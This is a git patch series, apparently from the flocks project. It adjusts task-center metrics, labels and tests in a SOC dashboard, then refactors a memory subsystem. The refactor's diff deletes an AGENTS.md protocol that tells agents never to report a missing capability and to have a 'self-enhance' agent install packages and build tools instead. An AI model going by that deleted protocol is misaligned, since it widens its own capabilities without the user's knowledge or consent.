tomorrow_start_iso, scheduler["id"]), @@ -1650,6 +1682,7 @@ def _task_center_workflow_rows(limit=12, include_mock=False): finished_at_expr = "finished_at" if "finished_at" in execution_columns else "NULL" updated_at_expr = "updated_at" if "updated_at" in execution_columns else "NULL" execution_time_expr = f"COALESCE({finished_at_expr}, {updated_at_expr}, started_at, 0)" + execution_start_expr = "started_at" active_time_expr = f"COALESCE({updated_at_expr}, started_at, 0)" latest_select = ", ".join( [ @@ -1687,8 +1720,8 @@ def _task_center_workflow_rows(limit=12, include_mock=False): exec_summary = conn.execute( "SELECT COUNT(*) AS execution_count, " "SUM(CASE WHEN status IN ('success', 'completed') THEN 1 ELSE 0 END) AS success_count, " - f"SUM(CASE WHEN {execution_time_expr} >= ? " - f"AND {execution_time_expr} < ? THEN 1 ELSE 0 END) " + f"SUM(CASE WHEN {execution_start_expr} >= ? " + f"AND {execution_start_expr} < ? THEN 1 ELSE 0 END) " "AS today_execution_count " "FROM workflow_executions WHERE workflow_id = ?", (today_start_ms, tomorrow_start_ms, workflow_id), @@ -1732,18 +1765,35 @@ def _task_center_workflow_rows(limit=12, include_mock=False): _safe_int(active_summary["active_count"] if active_summary else 0), 0, ) - execution_count = max( - _safe_int(stats["call_count"] if stats else 0), + exec_execution_count = max( _safe_int(exec_summary["execution_count"] if exec_summary else 0), + 0, ) - success_count = max( - _safe_int(stats["success_count"] if stats else 0), - _safe_int(exec_summary["success_count"] if exec_summary else 0), - ) - today_execution_count = max( + exec_today_execution_count = max( _safe_int(exec_summary["today_execution_count"] if exec_summary else 0), 0, ) + if stats is not None: + execution_count = max(_safe_int(stats["call_count"]), 0) + stats_today_count = _workflow_stats_call_delta_from_samples( + conn, + workflow_id, + today_start_ms, + tomorrow_start_ms, + ) + today_execution_count = ( + max(_safe_int(stats_today_count), 0) + if stats_today_count is not None + else exec_today_execution_count + ) + success_count = max(_safe_int(stats["success_count"]), 0) + else: + execution_count = exec_execution_count + today_execution_count = exec_today_execution_count + success_count = max( + _safe_int(exec_summary["success_count"] if exec_summary else 0), + 0, + ) last_run_at = 0 if latest: last_run_at = ( diff --git a/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx b/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx index 3fabbc14e..a34a2d1bd 100644 --- a/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx +++ b/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx @@ -2203,17 +2203,18 @@ function TaskCenterSummary({ taskCenter }) { const activeCount = [ ...scheduledTasks, ...workflows, - ].filter((item) => Number(item.activeCount || 0) > 0).length; - const summaryMetric = (key, label, value, sub, className = '') => h('div', { className, key }, [ + ].reduce((sum, item) => sum + Math.max(Number(item.activeCount || 0), 0), 0); + const workflowCallTooltip = '优先来自 workflow_stats.call_count；今日为当天 call_count 增量，缺少快照时回退执行记录数'; + const summaryMetric = (key, label, value, sub, className = '', title = '') => h('div', { className, key, title }, [ h('span', { key: 'label' }, label), h(AnimatedNumber, { tag: 'b', value: value || 0, duration: 800, key: 'value' }), sub ? h('small', { key: 'sub' }, sub) : null, ]); return h('div', { className: 'task-center-summary' }, [ - summaryMetric('sessions', '会话次数', taskCenter.sessionCount, ''), + summaryMetric('sessions', '关联会话', taskCenter.sessionCount, ''), summaryMetric('active', '执行中', activeCount, '', activeCount ? 'active' : ''), - summaryMetric('scheduledRuns', '定时执行', taskCenter.scheduledExecutionCount, `今日 ${taskCenter.scheduledTodayExecutionCount || 0}`), - summaryMetric('workflowRuns', '工作流执行', taskCenter.workflowExecutionCount, `今日 ${taskCenter.workflowTodayExecutionCount || 0}`), + summaryMetric('scheduledRuns', '定时执行', taskCenter.scheduledExecutionCount, `今日启动 ${taskCenter.scheduledTodayExecutionCount || 0}`), + summaryMetric('workflowRuns', '工作流调用', taskCenter.workflowExecutionCount, `今日调用 ${taskCenter.workflowTodayExecutionCount || 0}`, '', workflowCallTooltip), ]); } diff --git a/webui/src/utils/socDashboardPageRuntime.test.tsx b/webui/src/utils/socDashboardPageRuntime.test.tsx index f1725068e..3e0e00bce 100644 --- a/webui/src/utils/socDashboardPageRuntime.test.tsx +++ b/webui/src/utils/socDashboardPageRuntime.test.tsx @@ -1,5 +1,6 @@ import React from 'react'; -import { render, screen, waitFor } from '@testing-library/react'; +import { render, screen, waitFor, within } from '@testing-library/react'; +import userEvent from '@testing-library/user-event'; import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import Page from '../../../.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page'; @@ -169,6 +170,88 @@ describe('SOC dashboard contract page runtime', () => { expect(await screen.findByText('已流转至研判')).toBeInTheDocument(); }); + it('renders task center overview with corrected metric semantics', async () => { + pageGetMock.mockImplementation((path: string) => { + if (path === '/stats') { + return Promise.resolve({ data: {} }); + } + if (path === '/activity') { + return Promise.resolve({ + data: { + cursor: 'eyJsYXN0Um93SWQiOjAsImxhc3RBY3Rpdml0eUlkIjowfQ', + events: [], + recentEvents: [], + workflowEvents: [], + batch: {}, + workflowStats: { callCount: 0, latestStartedAt: 0 }, + tokenUsage: { totalTokens: 0, todayTokens: 0, todayRequests: 0, dailySeries: [] }, + }, + }); + } + if (path === '/task-center') { + return Promise.resolve({ + data: { + sessionCount: 12, + scheduledExecutionCount: 20, + scheduledTodayExecutionCount: 2, + workflowExecutionCount: 745000, + workflowTodayExecutionCount: 7, + scheduledTasks: [ + { + id: 'scheduled-1', + name: '定时巡检', + status: 'active', + executionCount: 20, + todayExecutionCount: 2, + activeCount: 2, + successRate: 0.9, + lastStatus: 'completed', + lastRunAt: '2026-08-04T08:00:00', + }, + ], + workflows: [ + { + id: 'workflow-1', + name: '告警研判', + executionCount: 745000, + todayExecutionCount: 7, + activeCount: 3, + successRate: 0.98, + lastStatus: 'running', + lastRunAt: Date.now(), + progressPercent: 0.5, + progressLabel: '运行中', + }, + ], + }, + }); + } + return Promise.reject(new Error(`unexpected path: ${path}`)); + }); + + const user = userEvent.setup(); + const { container } = render(); + + await user.click(await screen.findByRole('tab', { name: '任务中心' })); + + expect(await screen.findByText('关联会话')).toBeInTheDocument(); + expect(screen.getByText('今日启动 2')).toBeInTheDocument(); + expect(screen.getByText('工作流调用')).toBeInTheDocument(); + expect(screen.getByText('今日调用 7')).toBeInTheDocument(); + + const summary = container.querySelector('.task-center-summary') as HTMLElement; + expect(summary).toBeTruthy(); + const cards = Array.from(summary.children) as HTMLElement[]; + const activeCard = cards.find((card) => within(card).queryByText('执行中')) as HTMLElement; + const workflowCard = cards.find((card) => within(card).queryByText('工作流调用')) as HTMLElement; + + expect(activeCard.querySelector('b.animated-number')).toHaveAttribute('title', '5'); + expect(workflowCard).toHaveAttribute( + 'title', + '优先来自 workflow_stats.call_count；今日为当天 call_count 增量，缺少快照时回退执行记录数', + ); + }); + it('reacts to the shared SOC dashboard title change event', async () => { render(); From 84b85e25804807efd5cfd1504b42285c7d25cc6b Mon Sep 17 00:00:00 2001 From: John Yin <10972267+john-yin2333@user.noreply.gitee.com> Date: Tue, 4 Aug 2026 15:52:23 +0800 Subject: [PATCH 09/67] Fix SOC task center overview totals --- .../soc_ui/soc_dashboard/api/handlers.py | 50 ++++++++++++++----- .../webuis/soc_ui/soc_dashboard/src/Page.tsx | 5 +- tests/hub/test_soc_dashboard_schema.py | 12 ++++- .../utils/socDashboardPageRuntime.test.tsx | 3 +- 4 files changed, 54 insertions(+), 16 deletions(-) diff --git a/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/api/handlers.py b/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/api/handlers.py index 664039ba9..240bd4286 100644 --- a/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/api/handlers.py +++ b/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/api/handlers.py @@ -1263,6 +1263,9 @@ def _task_center_empty(): return { "generatedAt": datetime.now().astimezone().isoformat(timespec="seconds"), "sessionCount": 0, + "activeExecutionCount": 0, + "scheduledActiveCount": 0, + "workflowActiveCount": 0, "scheduledTasks": [], "workflows": [], "sourceStatus": { @@ -1292,7 +1295,7 @@ def _today_bounds(): def _task_center_task_rows(limit=12): if not TASK_DB.is_file(): - return 0, [], 0, 0 + return 0, [], 0, 0, 0 try: with sqlite3.connect(f"file:{TASK_DB}?mode=ro", uri=True, timeout=1.0) as conn: conn.row_factory = sqlite3.Row @@ -1301,7 +1304,7 @@ def _task_center_task_rows(limit=12): _table_exists(conn, "task_schedulers") and _table_exists(conn, "task_executions") ): - return 0, [], 0, 0 + return 0, [], 0, 0, 0 today_start, tomorrow_start = _today_bounds() today_start_iso = today_start.isoformat(timespec="seconds") tomorrow_start_iso = tomorrow_start.isoformat(timespec="seconds") @@ -1377,9 +1380,10 @@ def _task_center_task_rows(limit=12): tasks[:limit], sum(task["executionCount"] for task in tasks), sum(task["todayExecutionCount"] for task in tasks), + sum(task["activeCount"] for task in tasks), ) except Exception: - return 0, [], 0, 0 + return 0, [], 0, 0, 0 def _workflow_manifest_name_map(): @@ -1625,7 +1629,7 @@ def _workflow_link_context(latest): def _task_center_workflow_rows(limit=12, include_mock=False): if not WORKFLOW_DB.is_file(): - return [], 0, 0 + return [], 0, 0, 0 try: with sqlite3.connect(f"file:{WORKFLOW_DB}?mode=ro", uri=True, timeout=1.0) as conn: conn.row_factory = sqlite3.Row @@ -1634,7 +1638,7 @@ def _task_center_workflow_rows(limit=12, include_mock=False): _table_exists(conn, "workflow_stats") or _table_exists(conn, "workflow_executions") ): - return [], 0, 0 + return [], 0, 0, 0 today_start, tomorrow_start = _today_bounds() today_start_ms = int(today_start.timestamp() * 1000) tomorrow_start_ms = int(tomorrow_start.timestamp() * 1000) @@ -1701,11 +1705,13 @@ def _task_center_workflow_rows(limit=12, include_mock=False): ] ) workflows = [] + total_execution_count = 0 + total_today_execution_count = 0 + total_active_count = 0 now_ms = int(time.time() * 1000) for workflow_id in workflow_ids: workflow_name = names.get(workflow_id, workflow_id) - if UUID_RE.match(str(workflow_id)) and workflow_name == workflow_id: - continue + hidden_workflow = UUID_RE.match(str(workflow_id)) and workflow_name == workflow_id trigger_state = _workflow_trigger_state(conn, workflow_id) stats = None if _table_exists(conn, "workflow_stats"): @@ -1794,6 +1800,11 @@ def _task_center_workflow_rows(limit=12, include_mock=False): _safe_int(exec_summary["success_count"] if exec_summary else 0), 0, ) + total_execution_count += execution_count + total_today_execution_count += today_execution_count + total_active_count += active_count + if hidden_workflow: + continue last_run_at = 0 if latest: last_run_at = ( @@ -1862,21 +1873,36 @@ def _task_center_workflow_rows(limit=12, include_mock=False): ) return ( workflows[:limit], - sum(workflow["executionCount"] for workflow in workflows), - sum(workflow["todayExecutionCount"] for workflow in workflows), + total_execution_count, + total_today_execution_count, + total_active_count, ) except Exception: - return [], 0, 0 + return [], 0, 0, 0 def _get_task_center(include_mock=False): - session_count, tasks, scheduled_execution_count, scheduled_today_execution_count = _task_center_task_rows() - workflows, workflow_execution_count, workflow_today_execution_count = _task_center_workflow_rows( + ( + session_count, + tasks, + scheduled_execution_count, + scheduled_today_execution_count, + scheduled_active_count, + ) = _task_center_task_rows() + ( + workflows, + workflow_execution_count, + workflow_today_execution_count, + workflow_active_count, + ) = _task_center_workflow_rows( include_mock=include_mock, ) return { **_task_center_empty(), "sessionCount": session_count, + "activeExecutionCount": scheduled_active_count + workflow_active_count, + "scheduledActiveCount": scheduled_active_count, + "workflowActiveCount": workflow_active_count, "scheduledTasks": tasks, "scheduledExecutionCount": scheduled_execution_count, "scheduledTodayExecutionCount": scheduled_today_execution_count, diff --git a/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx b/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx index a34a2d1bd..7fd321abb 100644 --- a/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx +++ b/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx @@ -2204,6 +2204,9 @@ function TaskCenterSummary({ taskCenter }) { ...scheduledTasks, ...workflows, ].reduce((sum, item) => sum + Math.max(Number(item.activeCount || 0), 0), 0); + const totalActiveCount = taskCenter.activeExecutionCount == null + ? activeCount + : Math.max(Number(taskCenter.activeExecutionCount || 0), 0); const workflowCallTooltip = '优先来自 workflow_stats.call_count；今日为当天 call_count 增量，缺少快照时回退执行记录数'; const summaryMetric = (key, label, value, sub, className = '', title = '') => h('div', { className, key, title }, [ h('span', { key: 'label' }, label), @@ -2212,7 +2215,7 @@ function TaskCenterSummary({ taskCenter }) { ]); return h('div', { className: 'task-center-summary' }, [ summaryMetric('sessions', '关联会话', taskCenter.sessionCount, ''), - summaryMetric('active', '执行中', activeCount, '', activeCount ? 'active' : ''), + summaryMetric('active', '执行中', totalActiveCount, '', totalActiveCount ? 'active' : ''), summaryMetric('scheduledRuns', '定时执行', taskCenter.scheduledExecutionCount, `今日启动 ${taskCenter.scheduledTodayExecutionCount || 0}`), summaryMetric('workflowRuns', '工作流调用', taskCenter.workflowExecutionCount, `今日调用 ${taskCenter.workflowTodayExecutionCount || 0}`, '', workflowCallTooltip), ]); diff --git a/tests/hub/test_soc_dashboard_schema.py b/tests/hub/test_soc_dashboard_schema.py index 5015da8a3..76b035b91 100644 --- a/tests/hub/test_soc_dashboard_schema.py +++ b/tests/hub/test_soc_dashboard_schema.py @@ -708,7 +708,7 @@ def test_soc_dashboard_activity_tolerates_empty_soc_db_with_workflow_events(tmp_ assert payload["workflowEvents"][0]["sessionId"] == "session-1" -def test_soc_dashboard_task_center_summarizes_tasks_and_workflows(tmp_path: Path): +def test_soc_dashboard_task_center_summarizes_tasks_and_workflows(tmp_path: Path, monkeypatch): tasks_db = tmp_path / "tasks.db" today_at_1100 = datetime.now().astimezone().replace( hour=11, @@ -981,6 +981,11 @@ def test_soc_dashboard_task_center_summarizes_tasks_and_workflows(tmp_path: Path handlers = _load_dashboard_handlers() handlers.TASK_DB = tasks_db handlers.WORKFLOW_DB = workflow_db + monkeypatch.setattr( + handlers, + "_workflow_node_count", + lambda workflow_id: 3 if workflow_id == "stream_alert_triage" else 1, + ) payload = handlers._get_task_center() @@ -1007,8 +1012,11 @@ def test_soc_dashboard_task_center_summarizes_tasks_and_workflows(tmp_path: Path ] assert payload["scheduledExecutionCount"] == 3 assert payload["scheduledTodayExecutionCount"] == 1 - assert payload["workflowExecutionCount"] == 13 + assert payload["scheduledActiveCount"] == 1 + assert payload["workflowExecutionCount"] == 14 assert payload["workflowTodayExecutionCount"] == 1 + assert payload["workflowActiveCount"] == 1 + assert payload["activeExecutionCount"] == 2 assert [workflow["id"] for workflow in payload["workflows"]] == [ "stream_alert_triage", "stream_alert_denoise", diff --git a/webui/src/utils/socDashboardPageRuntime.test.tsx b/webui/src/utils/socDashboardPageRuntime.test.tsx index 3e0e00bce..29b18bc2a 100644 --- a/webui/src/utils/socDashboardPageRuntime.test.tsx +++ b/webui/src/utils/socDashboardPageRuntime.test.tsx @@ -192,6 +192,7 @@ describe('SOC dashboard contract page runtime', () => { return Promise.resolve({ data: { sessionCount: 12, + activeExecutionCount: 9, scheduledExecutionCount: 20, scheduledTodayExecutionCount: 2, workflowExecutionCount: 745000, @@ -245,7 +246,7 @@ describe('SOC dashboard contract page runtime', () => { const activeCard = cards.find((card) => within(card).queryByText('执行中')) as HTMLElement; const workflowCard = cards.find((card) => within(card).queryByText('工作流调用')) as HTMLElement; - expect(activeCard.querySelector('b.animated-number')).toHaveAttribute('title', '5'); + expect(activeCard.querySelector('b.animated-number')).toHaveAttribute('title', '9'); expect(workflowCard).toHaveAttribute( 'title', '优先来自 workflow_stats.call_count；今日为当天 call_count 增量，缺少快照时回退执行记录数', From 0a877c4d906031a0969927b698bf5d39828f67e0 Mon Sep 17 00:00:00 2001 From: John Yin <10972267+john-yin2333@user.noreply.gitee.com> Date: Tue, 4 Aug 2026 16:25:10 +0800 Subject: [PATCH 10/67] Refine SOC task center section metrics --- .../webuis/soc_ui/soc_dashboard/src/Page.tsx | 37 ++++++++++++------- .../utils/socDashboardPageRuntime.test.tsx | 27 ++++++++++++-- 2 files changed, 47 insertions(+), 17 deletions(-) diff --git a/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx b/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx index 7fd321abb..bf8aadbf5 100644 --- a/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx +++ b/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx @@ -2226,28 +2226,35 @@ function TaskCenterItem({ item, kind }) { const progressValue = taskCenterProgressValue(item); const progressLabel = taskCenterProgressLabel(item); const active = Number(item.activeCount || 0) > 0; - const status = taskCenterStatusLabel(item.lastStatus); - const statusClass = String(item.lastStatus || '').toLowerCase(); + const schedulerStatus = String(item.status || '').toLowerCase(); + const statusValue = kind === 'scheduled' ? schedulerStatus || item.lastStatus : item.lastStatus; + const status = taskCenterStatusLabel(statusValue); + const statusClass = String(statusValue || '').toLowerCase(); const latestTime = taskCenterTimeLabel(item.lastRunAt); const latestExecutionHash = taskCenterHashValue(item.latestExecutionHash); const itemName = kind === 'workflow' ? taskCenterWorkflowName(item) : item.name || item.id; const alertName = String(item.latestAlertName || '').trim(); const hasConversation = kind === 'workflow' && Boolean(String(item.sessionId || item.sessionID || '').trim()); + const scheduledClosed = kind === 'scheduled' && ['disabled', 'stopped'].includes(schedulerStatus); const sub = kind === 'scheduled' - ? item.nextRunAt + ? scheduledClosed + ? item.lastRunAt + ? `上次执行 ${latestTime}` + : '已关闭' + : item.nextRunAt ? `下次 ${taskCenterTimeLabel(item.nextRunAt)}` : item.cronDescription || item.cron || taskCenterTimeLabel(item.lastRunAt) - : `最近执行 ${latestTime}`; + : `最近调用 ${latestTime}`; const stats = kind === 'workflow' ? [ - h('span', { key: 'total' }, ['执行 ', h(AnimatedNumber, { tag: 'b', value: item.executionCount || 0, duration: 700, key: 'value' })]), - h('span', { key: 'today' }, ['今日 ', h(AnimatedNumber, { tag: 'b', value: item.todayExecutionCount || 0, duration: 700, key: 'value' })]), + h('span', { key: 'total', title: '工作流被调用/运行的次数，不代表处理告警条数' }, ['调用 ', h(AnimatedNumber, { tag: 'b', value: item.executionCount || 0, duration: 700, key: 'value' })]), + h('span', { key: 'today', title: '当天工作流调用次数' }, ['今日调用 ', h(AnimatedNumber, { tag: 'b', value: item.todayExecutionCount || 0, duration: 700, key: 'value' })]), h('span', { key: 'progress' }, ['进度 ', h('b', { key: 'value' }, progressLabel)]), h('span', { key: 'rate' }, ['成功率 ', h('b', { key: 'value' }, taskCenterPercent(successRate))]), ] : [ h('span', { key: 'total' }, ['执行 ', h(AnimatedNumber, { tag: 'b', value: item.executionCount || 0, duration: 700, key: 'value' })]), - h('span', { key: 'today' }, ['今日 ', h(AnimatedNumber, { tag: 'b', value: item.todayExecutionCount || 0, duration: 700, key: 'value' })]), + h('span', { key: 'today' }, ['今日启动 ', h(AnimatedNumber, { tag: 'b', value: item.todayExecutionCount || 0, duration: 700, key: 'value' })]), h('span', { key: 'success' }, ['成功 ', h(AnimatedNumber, { tag: 'b', value: item.successCount || 0, duration: 700, key: 'value' })]), h('span', { key: 'rate' }, ['成功率 ', h('b', { key: 'value' }, taskCenterPercent(successRate))]), ]; @@ -2279,13 +2286,13 @@ function TaskCenterItem({ item, kind }) { title: alertName || '暂无告警名称', key: 'alert', }, [ - h('span', { key: 'label' }, '研判告警'), + h('span', { key: 'label' }, '关联告警'), h('b', { key: 'value' }, alertName || '暂无告警名称'), ]) : null, kind === 'workflow' ? h('div', { className: 'task-center-hash', title: latestExecutionHash, key: 'hash' }, [ - h('span', { key: 'label' }, '执行哈希'), + h('span', { key: 'label' }, '执行ID'), h('code', { key: 'value' }, latestExecutionHash), - h('span', { key: 'link-label' }, '更多信息'), + h('span', { key: 'link-label' }, '关联对话'), h('code', { className: cx('task-center-jump', hasConversation && 'enabled'), key: 'link' }, hasConversation ? '查看对话' : '暂无关联对话'), ]) : null, h('div', { className: cx('task-center-stats', kind === 'workflow' && 'workflow-stats'), key: 'stats' }, stats), @@ -2302,6 +2309,8 @@ function TaskCenterItem({ item, kind }) { function TaskCenterSection({ title, count, items, kind, emptyText, expanded, onToggle, collapsed, onCollapseToggle }) { const hasOverflow = items.length > 3; const visibleItems = expanded || !hasOverflow ? items : items.slice(0, 3); + const countUnit = kind === 'workflow' ? '个工作流' : '个任务'; + const countText = collapsed || expanded || !hasOverflow ? `${count} ${countUnit}` : `显示 3/${count} ${countUnit}`; return h('section', { className: 'task-center-section' }, [ h('div', { className: 'task-center-section-title', key: 'title' }, [ h('button', { @@ -2314,7 +2323,7 @@ function TaskCenterSection({ title, count, items, kind, emptyText, expanded, onT h('i', { key: 'chevron' }, collapsed ? '›' : '⌄'), h('strong', { key: 'label' }, title), ]), - h('span', { key: 'count' }, collapsed ? `${count} 项` : expanded || !hasOverflow ? `${count} 项` : `显示 3/${count}`), + h('span', { key: 'count' }, countText), ]), collapsed ? null : h('div', { className: 'task-center-section-list', key: 'list' }, visibleItems.length ? visibleItems.map((item) => h(TaskCenterItem, { item, kind, key: `${kind}-${item.id}` })) @@ -2324,7 +2333,7 @@ function TaskCenterSection({ title, count, items, kind, emptyText, expanded, onT type: 'button', onClick: onToggle, key: 'expand', - }, expanded ? '收起' : `展开全部 ${count} 项`) : null, + }, expanded ? '收起' : `展开全部 ${count} ${countUnit}`) : null, ]); } @@ -2355,11 +2364,11 @@ function CommandTaskCenterPanel({ taskCenter }) { key: 'scheduled', }), h(TaskCenterSection, { - title: '工作流执行', + title: '工作流调用', count: workflows.length, items: workflows, kind: 'workflow', - emptyText: '暂无工作流执行记录', + emptyText: '暂无工作流调用记录', expanded: workflowExpanded, onToggle: () => setWorkflowExpanded((current) => !current), collapsed: workflowCollapsed, diff --git a/webui/src/utils/socDashboardPageRuntime.test.tsx b/webui/src/utils/socDashboardPageRuntime.test.tsx index 29b18bc2a..92844658f 100644 --- a/webui/src/utils/socDashboardPageRuntime.test.tsx +++ b/webui/src/utils/socDashboardPageRuntime.test.tsx @@ -201,13 +201,14 @@ describe('SOC dashboard contract page runtime', () => { { id: 'scheduled-1', name: '定时巡检', - status: 'active', + status: 'disabled', executionCount: 20, todayExecutionCount: 2, - activeCount: 2, + activeCount: 0, successRate: 0.9, lastStatus: 'completed', lastRunAt: '2026-08-04T08:00:00', + nextRunAt: '2026-08-05T01:00:00Z', }, ], workflows: [ @@ -220,6 +221,10 @@ describe('SOC dashboard contract page runtime', () => { successRate: 0.98, lastStatus: 'running', lastRunAt: Date.now(), + latestExecutionHash: 'workflow-run-1', + latestAlertName: '远程命令执行', + sessionId: 'session-1', + messageId: 'message-1', progressPercent: 0.5, progressLabel: '运行中', }, @@ -237,8 +242,20 @@ describe('SOC dashboard contract page runtime', () => { expect(await screen.findByText('关联会话')).toBeInTheDocument(); expect(screen.getByText('今日启动 2')).toBeInTheDocument(); - expect(screen.getByText('工作流调用')).toBeInTheDocument(); + expect(screen.getAllByText('工作流调用').length).toBeGreaterThanOrEqual(1); expect(screen.getByText('今日调用 7')).toBeInTheDocument(); + expect(screen.getByText('1 个任务')).toBeInTheDocument(); + expect(screen.getByText('1 个工作流')).toBeInTheDocument(); + expect(screen.getByText('已关闭')).toBeInTheDocument(); + expect(screen.getByText(/上次执行/)).toBeInTheDocument(); + expect(screen.queryByText(/下次/)).not.toBeInTheDocument(); + expect(screen.getByText('关联告警')).toBeInTheDocument(); + expect(screen.getByText('远程命令执行')).toBeInTheDocument(); + expect(screen.getByText('执行ID')).toBeInTheDocument(); + expect(screen.getByText('workflow-run-1')).toBeInTheDocument(); + expect(screen.getByText('关联对话')).toBeInTheDocument(); + expect(screen.getByText('查看对话')).toBeInTheDocument(); + expect(screen.getByText(/最近调用/)).toBeInTheDocument(); const summary = container.querySelector('.task-center-summary') as HTMLElement; expect(summary).toBeTruthy(); @@ -251,6 +268,10 @@ describe('SOC dashboard contract page runtime', () => { 'title', '优先来自 workflow_stats.call_count；今日为当天 call_count 增量，缺少快照时回退执行记录数', ); + + const workflowStats = container.querySelector('.task-center-stats.workflow-stats') as HTMLElement; + expect(within(workflowStats).getByText('调用')).toBeInTheDocument(); + expect(within(workflowStats).getByText('今日调用')).toBeInTheDocument(); }); it('reacts to the shared SOC dashboard title change event', async () => { From c44b138e8a864b96f38c1e3cbea66f57d3ee120b Mon Sep 17 00:00:00 2001 From: xiami762 <> Date: Thu, 30 Jul 2026 18:33:20 +0800 Subject: [PATCH 11/67] refactor(memory): establish filesystem memory foundation --- AGENTS.md | 108 ----- flocks/agent/agents/self_enhance/agent.yaml | 42 -- flocks/agent/agents/self_enhance/prompt.md | 192 --------- flocks/cli/commands/acp.py | 12 +- flocks/hooks/builtin/__init__.py | 21 +- flocks/hooks/builtin/session_memory.py | 382 ------------------ flocks/memory/__init__.py | 10 +- flocks/memory/bootstrap.py | 261 +++++++++--- flocks/memory/config.py | 74 ++-- flocks/memory/daily.py | 2 +- flocks/memory/flush.py | 24 +- flocks/memory/manager.py | 2 +- flocks/memory/paths.py | 122 ++++++ flocks/memory/types.py | 14 +- flocks/server/app.py | 23 +- flocks/server/routes/hooks.py | 17 +- flocks/session/features/memory.py | 14 +- flocks/session/lifecycle/compaction/models.py | 2 +- flocks/session/prompt.py | 37 +- flocks/session/prompt/beast.txt | 12 - flocks/session/session.py | 11 +- flocks/session/session_loop.py | 4 +- flocks/tool/catalog.py | 2 - flocks/tool/code/grep.py | 6 +- flocks/tool/file/edit.py | 18 +- flocks/tool/file/glob.py | 6 +- flocks/tool/file/read.py | 6 +- flocks/tool/file/write.py | 50 ++- flocks/tool/path_utils.py | 86 +++- flocks/tool/system/memory.py | 125 +----- tests/agent/test_agent.py | 11 +- tests/agent/test_agent_factory.py | 4 +- tests/hooks/test_registry.py | 4 +- tests/memory/test_chunking_indexing.py | 248 ------------ tests/memory/test_embeddings_basic.py | 131 ------ tests/memory/test_hybrid_search.py | 226 ----------- tests/memory/test_memory_basics.py | 219 ---------- tests/memory/test_memory_e2e.py | 324 --------------- tests/memory/test_memory_flush_extraction.py | 42 ++ tests/memory/test_memory_manager.py | 278 ------------- .../test_memory_openclaw_integration.py | 331 --------------- tests/memory/test_prompt_memory.py | 136 ------- tests/memory/test_vector_storage.py | 228 ----------- tests/sandbox/test_sandbox_file_tools.py | 95 ++++- tests/server/test_lifespan.py | 8 +- tests/session/test_runner_step.py | 34 +- tests/tool/test_agent_toolset.py | 1 - tests/tool/test_memory_file_write.py | 157 +++++++ tests/tool/test_tool_catalog.py | 4 +- webui/src/api/hooks.ts | 6 - webui/src/components/hooks/HookStatus.tsx | 57 +-- webui/src/hooks/useHooks.test.tsx | 6 - webui/src/locales/en-US/common.json | 12 - webui/src/locales/zh-CN/common.json | 12 - 54 files changed, 956 insertions(+), 3303 deletions(-) delete mode 100644 flocks/agent/agents/self_enhance/agent.yaml delete mode 100644 flocks/agent/agents/self_enhance/prompt.md delete mode 100644 flocks/hooks/builtin/session_memory.py create mode 100644 flocks/memory/paths.py delete mode 100644 tests/memory/test_chunking_indexing.py delete mode 100644 tests/memory/test_embeddings_basic.py delete mode 100644 tests/memory/test_hybrid_search.py delete mode 100644 tests/memory/test_memory_basics.py delete mode 100644 tests/memory/test_memory_e2e.py create mode 100644 tests/memory/test_memory_flush_extraction.py delete mode 100644 tests/memory/test_memory_manager.py delete mode 100644 tests/memory/test_memory_openclaw_integration.py delete mode 100644 tests/memory/test_prompt_memory.py delete mode 100644 tests/memory/test_vector_storage.py create mode 100644 tests/tool/test_memory_file_write.py diff --git a/AGENTS.md b/AGENTS.md index 943b60e81..3d4967957 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -49,92 +49,6 @@ $content = Get-Content "script.ps1" -Raw [System.IO.File]::WriteAllText("script.ps1", $content, [System.Text.UTF8Encoding]::new($true)) ``` ---- - -## Capability Gap Resolution Protocol - -**This protocol is mandatory for Rex and all primary agents.** - -When you encounter a **capability gap** — a situation where you cannot complete an assigned task because a required tool, library, or integration does not exist — you MUST follow this protocol. Do NOT stop and tell the user you cannot do it. - -A capability gap is distinct from a tool execution failure. Examples: -- "I cannot send email because there is no email tool" → **capability gap** -- "The email tool failed because the SMTP server rejected the password" → **credentials issue, ask user** -- "I cannot access the database because no DB tool exists" → **capability gap** -- "The bash command failed due to a syntax error" → **execution error, fix and retry** - -### When to Trigger This Protocol - -Trigger this protocol when you recognize any of these patterns: -- You are about to say "I don't have a tool for..." or "I cannot do X because..." -- A required Python library is not installed -- An external service integration (email, notification, DB, file format) is missing -- You have attempted to solve a problem and the only blocker is a missing capability - -### Resolution Steps - -**Step 1 — Quick self-check (< 30 seconds)** - -Before delegating, ask yourself: -- Can `bash` + Python standard library handle this? (smtplib, urllib, json, csv, sqlite3 are always available) -- Can I write a one-off script with existing tools? -- Is there an installable skill? Use `flocks_skills(subcommand="find", args="")` to check. - -If yes: solve it directly. No delegation needed. - -**Step 2 — Delegate to `self-enhance`** - -If the gap requires installing packages or building a new tool, delegate immediately: - -``` -delegate_task( - subagent_type="self-enhance", - prompt="[Describe the exact capability needed and the context] - -Context: [What the main task is trying to accomplish] -Capability needed: [Specific description, e.g. 'send email via SMTP or API'] -Constraints: [Any relevant constraints, e.g. 'must work without user interaction', 'email server unknown'] -", - run_in_background=False -) -``` - -**Step 3 — Use the result** - -When `self-enhance` returns: -- If it reports `CAPABILITY ACQUIRED`: immediately use the new tool it created to complete the task -- If it reports `CAPABILITY NOT ACQUIRED`: inform the user with 